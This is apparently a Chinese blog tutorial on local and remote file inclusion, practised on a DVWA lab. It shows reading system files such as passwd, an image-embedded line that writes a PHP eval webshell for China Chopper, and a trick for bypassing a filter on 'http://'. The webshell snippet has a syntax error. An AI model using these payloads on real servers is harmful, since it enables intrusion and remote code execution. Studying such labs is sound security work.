概述
文件包含漏洞介绍
文件包含故名思意就是文件中包含其他的文件,这也许是开发人员为了减轻开发量从而在代码设计的时候包含了某些文件,更甚者是直接包含了类似*.php、*.*这种文件。首先文件包含这个行为是正常的,因为在开发的途中难免会遇到有重复的代码等需要设计,而通过文件包含就可以减轻一定的工作量,所以文件包含本身是正常的。但是需要注意在文件包含行为中的一些配置,如果是PHP的话,那么在PHP安装目录下的php.ini配置文件中可以对文件包含的一些配置进行相关的设置:
php.ini的一些配置信息查看
文件包含的一些功能
文件上传的一些功能
OWASP下文件包含
1.本地文件包含
<?php
$file = $_GET['page']; //The page we wish to display
?>
低安全模式下后端的php源码并没有对文件包含做了任何的限制,想要访问那个文件或者页面,系统会自动将该页面内容返回。比如我们在低安全级别下去访问/etc/network/interfaces文件:
注意:想成功的将指定文件包含并显示出来需要具有对文件的读权限
我们也可以通过文件包含来包含系统内部其他的一些敏感文件,比如passwd之类的文件。
对上个一个文件上传漏洞的高安全级别内容的补充
因为上一个博客中文件上传漏洞的高安全级别下,我们对上传的图片植入了相关的代码,所以我们需要通过文件包含漏洞来执行有代码的图片,从而生成一句话木马文件,然后并通过菜刀连接。
使用绝对路径包含(当然,我们也基本不可能知道对方的具体路径,这里只做举例)
这是经过处理的图片路径,然后通过文件包含漏洞包含该文件(应该会失败)
使用相对路径包含
太尴尬了,植入的代码写错了,眼神不好,抄的时候抄错了,我说重新上传一张没植入代码的图片都能包含进去,然后检查了植入的代码才发现里面代码有问题,下面才是正常包含了的情况:
到这里表示被植入代码的图片被成功的包含并执行,我们还是去OWASP靶机上确认一下
在图片中植入的代码回顾,里面的代码表示执行并生成一个muma.php的文件,文件内容是<?php eval($_POST[cmd];?>,也就是一句话木马的格式。
<?fputs(fopen("muma.php","w"),'<?php eval($_POST[cmd];?>')?>
这时候已经生成了一句话木马文件,所以就可以通过中国菜刀进行连接了,但是注意路径的变化,一句话木马在什么地方,菜刀的路径就是什么:
没有实际进去实验,因为一直被Windows Defender 安全中心删,关了也没用,放弃治疗
2.远程文件包含
远程文件包含,也就是字面意思,去包含远程服务器上的文件,这样就比本地文件包含要轻松,因为本地文件包含我们还需要想办法把文件上传上去,然后还要想办法执行那张图片。但是远程文件包含就不一样,因为是通过远程来包含自己服务器上的文件,所以就少了文件上传的步骤,并且可以直接包含本地的php文件,相对来说比较简单一点。
在OWASP靶机上的中安全级别,后端对相应的字符进行了过滤,因为我们使用远程文件包含肯定就要用到http://或者https://,所以中安全级别下,后端就把这些字符给过滤了,相关的后端代码展示:
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
在里面,代码将http://和https://过滤成了空字符串,所以我们使用远程文件包含的时候用到这些系统就不会被正常识别到,但是我们可以通过组合拆分的方式来对http和https这些字符进行重组,比如ht http tp://这里面后端把中间那个http过滤为了空字符后前面的ht和后面的tp就组合成了一个新的http,然后我们就可以通过这种方式来绕过后端的识别限制,从而达到远程文件包含的目的。
远程文件包含的举例:
这里我只是进行了测试,文件可以直接弄一个木马文件,让它在目标服务器上生成一个一句话木马文件,这样就能通过菜刀进行连接了。
远程文件包含大概就写这么多了
最后
以上就是干净面包为你收集整理的渗透之文件包含漏洞的全部内容,希望文章能够帮你解决渗透之文件包含漏洞所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复